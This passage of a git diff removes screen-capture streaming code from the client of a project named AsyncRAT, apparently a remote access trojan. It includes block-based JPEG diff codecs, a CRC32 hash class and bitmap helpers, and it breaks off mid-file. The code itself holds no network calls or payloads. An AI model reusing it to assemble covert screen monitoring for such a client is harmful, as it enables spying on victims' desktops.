Rectangle Rect; - public int Score; - public Stopwatch LastUpdate; - - public PopulairPoint(Rectangle rect) - { - this.Rect = rect; - this.Score = 0; - this.LastUpdate = Stopwatch.StartNew(); - } - } - - public override ulong CachedSize - { - get; - internal set; - } - - public override int BufferCount - { - get { return 1; } - } - - public override CodecOption CodecOptions - { - get { return CodecOption.RequireSameSize; } - } - - public Size CheckBlock { get; private set; } - private object ImageProcessLock = new object(); - private byte[] EncodeBuffer; - private Bitmap decodedBitmap; - private PixelFormat EncodedFormat; - private int EncodedWidth; - private int EncodedHeight; - private List populairPoints; - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - private Stopwatch ScreenRefreshSW = Stopwatch.StartNew(); - - //options - /// If a part in the image is been changing for the last x milliseconds it will be seen as a video - public uint AliveTimeForBeingVideo = 5000; - /// This will check if the video went away or stopped playing so it will refresh the other parts in the image - public uint ScreenRefreshTimer = 2000; - /// The size for being a video, if bigger or equal to the VideoScreenSize it must be a video - public Size VideoScreenSize = new Size(100, 100); - - /// - /// Initialize a new object of UnsafeOptimizedCodec - /// - /// The quality to use between 0-100 - public UnsafeOptimizedCodec(int ImageQuality = 100) - : base(ImageQuality) - { - this.populairPoints = new List(); - this.CheckBlock = new Size(15, 1); - } - - public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream) - { - lock (ImageProcessLock) - { - byte* pScan0 = (byte*)Scan0.ToInt32(); - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - int Stride = 0; - int RawLength = 0; - int PixelSize = 0; - - switch (Format) - { - case PixelFormat.Format24bppRgb: - PixelSize = 3; - break; - case PixelFormat.Format32bppArgb: - case PixelFormat.Format32bppPArgb: - PixelSize = 4; - break; - default: - throw new NotSupportedException(Format.ToString()); - } - - Stride = ImageSize.Width * PixelSize; - RawLength = Stride * ImageSize.Height; - - if (EncodeBuffer == null) - { - this.EncodedFormat = Format; - this.EncodedWidth = ImageSize.Width; - this.EncodedHeight = ImageSize.Height; - this.EncodeBuffer = new byte[RawLength]; - fixed (byte* ptr = EncodeBuffer) - { - byte[] temp = null; - using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) - { - temp = base.jpgCompression.Compress(TmpBmp); - } - - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength); - } - return; - } - - if (ScreenRefreshSW.ElapsedMilliseconds > ScreenRefreshTimer) - { - for (int i = 0; i < populairPoints.Count; i++) - { - if (populairPoints[i].Score == 0 || populairPoints[i].LastUpdate.Elapsed.Seconds > 5) - { - populairPoints.RemoveAt(i); - } - } - ScreenRefreshSW = Stopwatch.StartNew(); - } - - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - - List updates = new List(); - MemoryStream ms = new MemoryStream(); - byte[] buffer = null; - - if (this.EncodedFormat != Format) - throw new Exception("PixelFormat is not equal to previous Bitmap"); - - if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height) - throw new Exception("Bitmap width/height are not equal to previous bitmap"); - - List Blocks = new List(); - int index = 0; - - Size s = new Size(ScanArea.Width, CheckBlock.Height); - Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height); - - int lasty = ScanArea.Height - lastSize.Height; - int lastx = ScanArea.Width - lastSize.Width; - - Rectangle cBlock = new Rectangle(); - List finalUpdates = new List(); - - PopulairPoint[] points = GetPossibleVideos(); - if (points.Length > 0) - { - ScanArea = new Rectangle(points[0].Rect.X, points[0].Rect.Y, points[0].Rect.Width + points[0].Rect.X, points[0].Rect.Height + points[0].Rect.Y); - } - - s = new Size(ScanArea.Width, s.Height); - fixed (byte* encBuffer = EncodeBuffer) - { - if (points.Length == 0) //only scan if there is no video - { - for (int y = ScanArea.Y; y != ScanArea.Height; ) - { - if (y == lasty) - s = new Size(ScanArea.Width, lastSize.Height); - cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height); - - int offset = (y * Stride) + (ScanArea.X * PixelSize); - if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0) - { - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - index = Blocks.Count - 1; - if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y) - { - cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height); - Blocks[index] = cBlock; - } - else - { - Blocks.Add(cBlock); - } - } - y += s.Height; - } - - for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++) - { - s = new Size(CheckBlock.Width, Blocks[i].Height); - x = ScanArea.X; - while (x != ScanArea.Width) - { - if (x == lastx) - s = new Size(lastSize.Width, Blocks[i].Height); - - cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height); - bool FoundChanges = false; - int blockStride = PixelSize * cBlock.Width; - - for (int j = 0; j < cBlock.Height; j++) - { - int blockOffset = (Stride * (cBlock.Y + j)) + (PixelSize * cBlock.X); - if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0) - FoundChanges = true; - NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - } - - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - if (FoundChanges) - { - index = finalUpdates.Count - 1; - if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X) - { - Rectangle rect = finalUpdates[index]; - int newWidth = cBlock.Width + rect.Width; - cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); - finalUpdates[index] = cBlock; - } - else - { - finalUpdates.Add(cBlock); - } - } - x += s.Width; - } - } - } - else - { - finalUpdates.Add(points[0].Rect); - } - } - - for (int i = 0; i < finalUpdates.Count; i++) - { - Rectangle rect = finalUpdates[i]; - int blockStride = PixelSize * rect.Width; - - Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); - BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); - for (int j = 0, offset = 0; j < rect.Height; j++) - { - int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); - NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - offset += blockStride; - } - TmpBmp.UnlockBits(TmpData); - - outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); - outStream.Write(new byte[4], 0, 4); - - long length = outStream.Position; - long OldPos = outStream.Position; - base.jpgCompression.Compress(TmpBmp, ref outStream); - length = outStream.Position - length; - - outStream.Position = OldPos - 4; - outStream.Write(BitConverter.GetBytes((int)length), 0, 4); - outStream.Position += length; - - if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height) - { - PopulairPoint point = null; - if (GetPopulairPoint(rect, ref point)) - { - point.Score++; - point.LastUpdate = Stopwatch.StartNew(); - //Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height); - } - else - { - populairPoints.Add(new PopulairPoint(rect)); - } - } - - TmpBmp.Dispose(); - TotalDataLength += (int)length + (4 * 5); - } - - /*for (int i = 0; i < finalUpdates.Count; i++) - { - Rectangle rect = finalUpdates[i]; - int blockStride = PixelSize * rect.Width; - buffer = new byte[blockStride * rect.Height]; - - fixed (byte* ptr = buffer) - { - for (int j = 0, offset = 0; j < rect.Height; j++) - { - int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); - NativeMethods.memcpy(ptr + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - offset += blockStride; - } - - using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * PixelSize, Format, new IntPtr(ptr))) - { - buffer = base.jpgCompression.Compress(TmpBmp); - - if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height) - { - PopulairPoint point = null; - if (GetPopulairPoint(rect, ref point)) - { - point.Score++; - point.LastUpdate = Stopwatch.StartNew(); - Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height); - } - else - { - populairPoints.Add(new PopulairPoint(rect)); - } - } - } - } - - outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); - outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4); - outStream.Write(buffer, 0, buffer.Length); - TotalDataLength += buffer.Length + (4 * 5); - }*/ - - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - Blocks.Clear(); - ms.Close(); - ms.Dispose(); - } - } - - public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length) - { - if (Length < 4) - return decodedBitmap; - - int DataSize = *(int*)(CodecBuffer); - if (decodedBitmap == null) - { - byte[] temp = new byte[DataSize]; - fixed (byte* tempPtr = temp) - { - NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize); - } - - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - byte* bufferPtr = (byte*)CodecBuffer.ToInt32(); - if (DataSize > 0) - { - Graphics g = Graphics.FromImage(decodedBitmap); - for (int i = 4; DataSize > 0; ) - { - Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4), - *(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12)); - int UpdateLen = *(int*)(bufferPtr + i + 16); - byte[] temp = new byte[UpdateLen]; - - fixed(byte* tempPtr = temp) - { - NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen); - using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr))) - { - g.DrawImage(TmpBmp, new Point(rect.X, rect.Y)); - } - } - DataSize -= UpdateLen + (4 * 5); - i += UpdateLen + (4 * 5); - } - g.Dispose(); - } - return decodedBitmap; - } - - public override Bitmap DecodeData(Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (decodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - List updates = new List(); - Rectangle rect; - Graphics g = Graphics.FromImage(decodedBitmap); - Bitmap tmp; - byte[] buffer = null; - MemoryStream m; - - while (DataSize > 0) - { - byte[] tempData = new byte[4 * 5]; - inStream.Read(tempData, 0, tempData.Length); - - rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), - BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); - int UpdateLen = BitConverter.ToInt32(tempData, 16); - buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - if (onDecodeDebugScan != null) - onDecodeDebugScan(rect); - - m = new MemoryStream(buffer); - tmp = (Bitmap)Image.FromStream(m); - g.DrawImage(tmp, rect.Location); - tmp.Dispose(); - - m.Close(); - m.Dispose(); - DataSize -= UpdateLen + (4 * 5); - } - g.Dispose(); - return decodedBitmap; - } - - private bool GetPopulairPoint(Rectangle rect, ref PopulairPoint PopuPoint) - { - for (int i = 0; i < populairPoints.Count; i++) - { - PopulairPoint point = populairPoints[i]; - if (point.Rect.Width == rect.Width && - point.Rect.Height == rect.Height && - point.Rect.X == rect.X && - point.Rect.Y == rect.Y) - { - PopuPoint = populairPoints[i]; - return true; - } - } - return false; - } - - private PopulairPoint[] GetPossibleVideos() - { - List points = new List(); - for (int i = 0; i < populairPoints.Count; i++) - { - if (populairPoints[i].Score > 30) - { - points.Add(populairPoints[i]); - } - } - return points.ToArray(); - } - } -} diff --git a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeQuickStream.cs b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeQuickStream.cs deleted file mode 100644 index 0719bd9..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeQuickStream.cs +++ /dev/null @@ -1,285 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary.UnsafeCodecs -{ - public class UnsafeQuickStream : IUnsafeCodec - { - public override ulong CachedSize { get; internal set; } - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public override int BufferCount - { - get { return 0; } - } - - public override CodecOption CodecOptions - { - get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; } - } - private PixelFormat EncodedFormat; - private int EncodedWidth; - private int EncodedHeight; - private ulong[] EncodeBuffer; - - private int BlockWidth = 0; - private int BlockHeight = 0; - private Bitmap decodedBitmap; - - public List VerifyPoints = null; - - public Size CheckBlock { get; private set; } - public UnsafeQuickStream(int ImageQuality = 100) - : base(ImageQuality) - { - this.CheckBlock = new Size(50, 50);//width must be bigger then 3 - } - - public override unsafe void CodeImage(IntPtr Scan0, Rectangle OutputRect, Size InputSize, PixelFormat Format, Stream outStream) - { - byte* pScan0 = (byte*)Scan0.ToInt32(); - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - int Stride = 0; - int RawLength = 0; - int PixelSize = 0; - - switch (Format) - { - case PixelFormat.Format24bppRgb: - PixelSize = 3; - break; - case PixelFormat.Format32bppArgb: - case PixelFormat.Format32bppPArgb: - PixelSize = 4; - break; - default: - throw new NotSupportedException(Format.ToString()); - } - - Stride = InputSize.Width * PixelSize; - RawLength = Stride * InputSize.Height; - - - if (EncodedWidth == 0 && EncodedHeight == 0) - { - this.EncodedFormat = Format; - this.EncodedWidth = OutputRect.Width; - this.EncodedHeight = OutputRect.Height; - - byte[] temp = null; - using (Bitmap TmpBmp = new Bitmap(OutputRect.Width, OutputRect.Height, Stride, Format, Scan0)) - { - temp = base.jpgCompression.Compress(TmpBmp); - } - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - return; - } - - List Points = ProcessChanges(Scan0, OutputRect, Format, InputSize.Width); - - VerifyPoints = Points; - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - for (int i = 0; i < Points.Count; i++) - { - Rectangle rect = Points[i]; - int blockStride = PixelSize * rect.Width; - - Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); - BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); - for (int j = 0, offset = 0; j < rect.Height; j++) - { - int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); - NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - offset += blockStride; - } - TmpBmp.UnlockBits(TmpData); - - outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); - outStream.Write(new byte[4], 0, 4); - - long length = outStream.Position; - long OldPos = outStream.Position; - base.jpgCompression.Compress(TmpBmp, ref outStream); - length = outStream.Position - length; - - outStream.Position = OldPos - 4; - outStream.Write(BitConverter.GetBytes((int)length), 0, 4); - outStream.Position += length; - - TmpBmp.Dispose(); - TotalDataLength += (int)length + (4 * 5); - } - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - } - - private unsafe List ProcessChanges(IntPtr Scan0, Rectangle OutputRect, PixelFormat Format, int ImageWidth) - { - if (EncodeBuffer == null) - { - this.BlockWidth = (int)Math.Floor((float)(OutputRect.Width / CheckBlock.Width)); - this.BlockHeight = (int)Math.Floor((double)(OutputRect.Height / CheckBlock.Height)); - int TotalBlocks = (int)Math.Floor((float)(BlockHeight * BlockWidth)); - this.EncodeBuffer = new ulong[TotalBlocks]; - } - - List points = new List(); - int StartScan = Scan0.ToInt32(); - - for (int y = OutputRect.Y; y < OutputRect.Height + OutputRect.Y; y += CheckBlock.Height) - { - if (y + CheckBlock.Height > OutputRect.Height) - break; - - for (int x = OutputRect.X; x < OutputRect.Width + OutputRect.X; x += CheckBlock.Width) - { - if (x + CheckBlock.Width > OutputRect.Width) - break; - - int EncodeOffset = GetOffset(x, y); - long offset = FastBitmap.CalcImageOffset(x, y, Format, ImageWidth); - ulong* ScanPtr = (ulong*)(StartScan + offset); - - if (EncodeBuffer[EncodeOffset] != *ScanPtr) - { - EncodeBuffer[EncodeOffset] = *ScanPtr; - - Rectangle cBlock = new Rectangle(x, y, CheckBlock.Width, CheckBlock.Height); - int index = points.Count - 1; - if (points.Count > 0 && (points[index].X + points[index].Width) == cBlock.X) - { - Rectangle rect = points[index]; - int newWidth = cBlock.Width + rect.Width; - cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); - points[index] = cBlock; - } - else - { - points.Add(cBlock); - } - } - } - } - return points; - } - - private Point GetOffsetPoint(int x, int y) - { - return new Point((int)Math.Floor((float)(y / CheckBlock.Height)) * BlockWidth, - (int)Math.Floor((double)(x / CheckBlock.Width))); - } - - private int GetOffset(int x, int y) - { - return (int)Math.Floor((float)(y / CheckBlock.Height)) * BlockWidth + - (int)Math.Floor((double)(x / CheckBlock.Width)); - } - - public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (decodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - List updates = new List(); - Rectangle rect; - Graphics g = Graphics.FromImage(decodedBitmap); - Bitmap tmp; - byte[] buffer = null; - MemoryStream m; - - while (DataSize > 0) - { - byte[] tempData = new byte[4 * 5]; - inStream.Read(tempData, 0, tempData.Length); - - rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), - BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); - int UpdateLen = BitConverter.ToInt32(tempData, 16); - buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - if (onDecodeDebugScan != null) - onDecodeDebugScan(rect); - - m = new MemoryStream(buffer); - tmp = (Bitmap)Image.FromStream(m); - g.DrawImage(tmp, rect.Location); - tmp.Dispose(); - - m.Close(); - m.Dispose(); - DataSize -= UpdateLen + (4 * 5); - } - g.Dispose(); - return decodedBitmap; - } - - public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length) - { - if (Length < 4) - return decodedBitmap; - - int DataSize = *(int*)(CodecBuffer); - if (decodedBitmap == null) - { - byte[] temp = new byte[DataSize]; - fixed (byte* tempPtr = temp) - { - NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize); - } - - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - byte* bufferPtr = (byte*)CodecBuffer.ToInt32(); - if (DataSize > 0) - { - Graphics g = Graphics.FromImage(decodedBitmap); - for (int i = 4; DataSize > 0; ) - { - Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4), - *(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12)); - int UpdateLen = *(int*)(bufferPtr + i + 16); - byte[] temp = new byte[UpdateLen]; - - fixed (byte* tempPtr = temp) - { - NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen); - using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr))) - { - g.DrawImage(TmpBmp, new Point(rect.X, rect.Y)); - } - } - DataSize -= UpdateLen + (4 * 5); - i += UpdateLen + (4 * 5); - } - g.Dispose(); - } - return decodedBitmap; - } - } -} diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/CRC32.cs b/AsyncRAT-C#/Client/StreamLibrary/src/CRC32.cs deleted file mode 100644 index 7e89054..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/src/CRC32.cs +++ /dev/null @@ -1,186 +0,0 @@ -// Tamir Khason http://khason.net/ -// -// Released under MS-PL : 6-Apr-09 -using System; -using System.Collections.Generic; -using System.Text; -using System.Security.Cryptography; -using System.Collections; -using System.IO; - -namespace StreamLibrary.src -{ - /// Implements a 32-bits cyclic redundancy check (CRC) hash algorithm. - /// This class is not intended to be used for security purposes. For security applications use MD5, SHA1, SHA256, SHA384, - /// or SHA512 in the System.Security.Cryptography namespace. - public class CRC32 : HashAlgorithm - { - #region CONSTRUCTORS - /// Creates a CRC32 object using the . - public CRC32() - : this(DefaultPolynomial) - { - } - - /// Creates a CRC32 object using the specified polynomial. - /// The polynomical should be supplied in its bit-reflected form. . - public CRC32(uint polynomial) - { - HashSizeValue = 32; - _crc32Table = (uint[])_crc32TablesCache[polynomial]; - if (_crc32Table == null) - { - _crc32Table = CRC32._buildCRC32Table(polynomial); - _crc32TablesCache.Add(polynomial, _crc32Table); - } - Initialize(); - } - - // static constructor - static CRC32() - { - _crc32TablesCache = Hashtable.Synchronized(new Hashtable()); - _defaultCRC = new CRC32(); - } - #endregion - - #region PROPERTIES - /// Gets the default polynomial (used in WinZip, Ethernet, etc.) - /// The default polynomial is a bit-reflected version of the standard polynomial 0x04C11DB7 used by WinZip, Ethernet, etc. - public static readonly uint DefaultPolynomial = 0xEDB88320; // Bitwise reflection of 0x04C11DB7; - #endregion - - #region METHODS - /// Initializes an implementation of HashAlgorithm. - public override void Initialize() - { - _crc = _allOnes; - } - - /// Routes data written to the object into the hash algorithm for computing the hash. - protected override void HashCore(byte[] buffer, int offset, int count) - { - for (int i = offset; i < count; i++) - { - ulong ptr = (_crc & 0xFF) ^ buffer[i]; - _crc >>= 8; - _crc ^= _crc32Table[ptr]; - } - } - - /// Finalizes the hash computation after the last data is processed by the cryptographic stream object. - protected override byte[] HashFinal() - { - byte[] finalHash = new byte[4]; - ulong finalCRC = _crc ^ _allOnes; - - finalHash[0] = (byte)((finalCRC >> 0) & 0xFF); - finalHash[1] = (byte)((finalCRC >> 8) & 0xFF); - finalHash[2] = (byte)((finalCRC >> 16) & 0xFF); - finalHash[3] = (byte)((finalCRC >> 24) & 0xFF); - - return finalHash; - } - - /// Computes the CRC32 value for the given ASCII string using the . - public static int Compute(string asciiString) - { - _defaultCRC.Initialize(); - return ToInt32(_defaultCRC.ComputeHash(asciiString)); - } - - /// Computes the CRC32 value for the given input stream using the . - public static int Compute(Stream inputStream) - { - _defaultCRC.Initialize(); - return ToInt32(_defaultCRC.ComputeHash(inputStream)); - } - - /// Computes the CRC32 value for the input data using the . - public static int Compute(byte[] buffer) - { - _defaultCRC.Initialize(); - return ToInt32(_defaultCRC.ComputeHash(buffer)); - } - - /// Computes the hash value for the input data using the . - public static int Compute(byte[] buffer, int offset, int count) - { - _defaultCRC.Initialize(); - return ToInt32(_defaultCRC.ComputeHash(buffer, offset, count)); - } - - /// Computes the hash value for the given ASCII string. - /// The computation preserves the internal state between the calls, so it can be used for computation of a stream data. - public byte[] ComputeHash(string asciiString) - { - byte[] rawBytes = ASCIIEncoding.ASCII.GetBytes(asciiString); - return ComputeHash(rawBytes); - } - - /// Computes the hash value for the given input stream. - /// The computation preserves the internal state between the calls, so it can be used for computation of a stream data. - new public byte[] ComputeHash(Stream inputStream) - { - byte[] buffer = new byte[4096]; - int bytesRead; - while ((bytesRead = inputStream.Read(buffer, 0, 4096)) > 0) - { - HashCore(buffer, 0, bytesRead); - } - return HashFinal(); - } - - /// Computes the hash value for the input data. - /// The computation preserves the internal state between the calls, so it can be used for computation of a stream data. - new public byte[] ComputeHash(byte[] buffer) - { - return ComputeHash(buffer, 0, buffer.Length); - } - - /// Computes the hash value for the input data. - /// The computation preserves the internal state between the calls, so it can be used for computation of a stream data. - new public byte[] ComputeHash(byte[] buffer, int offset, int count) - { - HashCore(buffer, offset, count); - return HashFinal(); - } - #endregion - - #region PRIVATE SECTION - private static uint _allOnes = 0xffffffff; - private static CRC32 _defaultCRC; - private static Hashtable _crc32TablesCache; - private uint[] _crc32Table; - private uint _crc; - - // Builds a crc32 table given a polynomial - private static uint[] _buildCRC32Table(uint polynomial) - { - uint crc; - uint[] table = new uint[256]; - - // 256 values representing ASCII character codes. - for (int i = 0; i < 256; i++) - { - crc = (uint)i; - for (int j = 8; j > 0; j--) - { - if ((crc & 1) == 1) - crc = (crc >> 1) ^ polynomial; - else - crc >>= 1; - } - table[i] = crc; - } - - return table; - } - - private static int ToInt32(byte[] buffer) - { - return BitConverter.ToInt32(buffer, 0); - } - #endregion - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/ExtensionAttribute.cs b/AsyncRAT-C#/Client/StreamLibrary/src/ExtensionAttribute.cs deleted file mode 100644 index 5ea4bfc..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/src/ExtensionAttribute.cs +++ /dev/null @@ -1,12 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Text; - -namespace System.Runtime.CompilerServices -{ - [AttributeUsage(AttributeTargets.Method)] - public sealed class ExtensionAttribute : Attribute - { - public ExtensionAttribute() { } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/Extentions.cs b/AsyncRAT-C#/Client/StreamLibrary/src/Extentions.cs deleted file mode 100644 index 82590e7..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/src/Extentions.cs +++ /dev/null @@ -1,59 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Text; - -namespace StreamLibrary.src -{ - public static unsafe class Extensions - { - public static SortedList> RectanglesTo2D(this Rectangle[] rects) - { - SortedList> Rects = new SortedList>(); - for (int i = 0; i < rects.Length; i++) - { - if (!Rects.ContainsKey(rects[i].Y)) - Rects.Add(rects[i].Y, new SortedList()); - - if (!Rects[rects[i].Y].ContainsKey(rects[i].X)) - Rects[rects[i].Y].Add(rects[i].X, rects[i]); - } - return Rects; - } - - public static SortedList> Rectangle2DToRows(this SortedList> Rects) - { - SortedList> RectRows = new SortedList>(); - - for (int i = 0; i < Rects.Values.Count; i++) - { - if (!RectRows.ContainsKey(Rects.Values[i].Values[0].Y)) - { - RectRows.Add(Rects.Values[i].Values[0].Y, new SortedList()); - } - if (!RectRows[Rects.Values[i].Values[0].Y].ContainsKey(Rects.Values[i].Values[0].X)) - { - RectRows[Rects.Values[i].Values[0].Y].Add(Rects.Values[i].Values[0].X, Rects.Values[i].Values[0]); - } - - Rectangle EndRect = Rects.Values[i].Values[0]; - for (int x = 1; x < Rects.Values[i].Values.Count; x++) - { - Rectangle CurRect = Rects.Values[i].Values[x]; - Rectangle tmpRect = RectRows[EndRect.Y].Values[RectRows[EndRect.Y].Count - 1]; - if (tmpRect.IntersectsWith(new Rectangle(CurRect.X - 1, CurRect.Y, CurRect.Width, CurRect.Height))) - { - RectRows[EndRect.Y][tmpRect.X] = new Rectangle(tmpRect.X, tmpRect.Y, tmpRect.Width + EndRect.Width, tmpRect.Height); - EndRect = Rects.Values[i].Values[x]; - } - else - { - EndRect = Rects.Values[i].Values[x]; - RectRows[Rects.Values[i].Values[0].Y].Add(EndRect.X, EndRect); - } - } - } - return RectRows; - } - } -} diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/FastBitmap.cs b/AsyncRAT-C#/Client/StreamLibrary/src/FastBitmap.cs deleted file mode 100644 index 319d630..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/src/FastBitmap.cs +++ /dev/null @@ -1,353 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.Text; - -namespace StreamLibrary.src -{ - public unsafe class FastBitmap - { - public Bitmap bitmap { get; set; } - public BitmapData bitmapData { get; private set; } - public int Width { get; private set; } - public int Height { get; private set; } - public PixelFormat format { get; private set; } - public DateTime BitmapCreatedAt; - public bool IsLocked { get; private set; } - - public int Stride - { - get { return bitmapData.Stride; } - } - - public FastBitmap(Bitmap bitmap, PixelFormat format) - { - switch (format) - { - case PixelFormat.Format32bppArgb: - case PixelFormat.Format24bppRgb: - case PixelFormat.Format32bppRgb: - case PixelFormat.Format8bppIndexed: - case PixelFormat.Format4bppIndexed: - case PixelFormat.Format1bppIndexed: - break; - default: - throw new 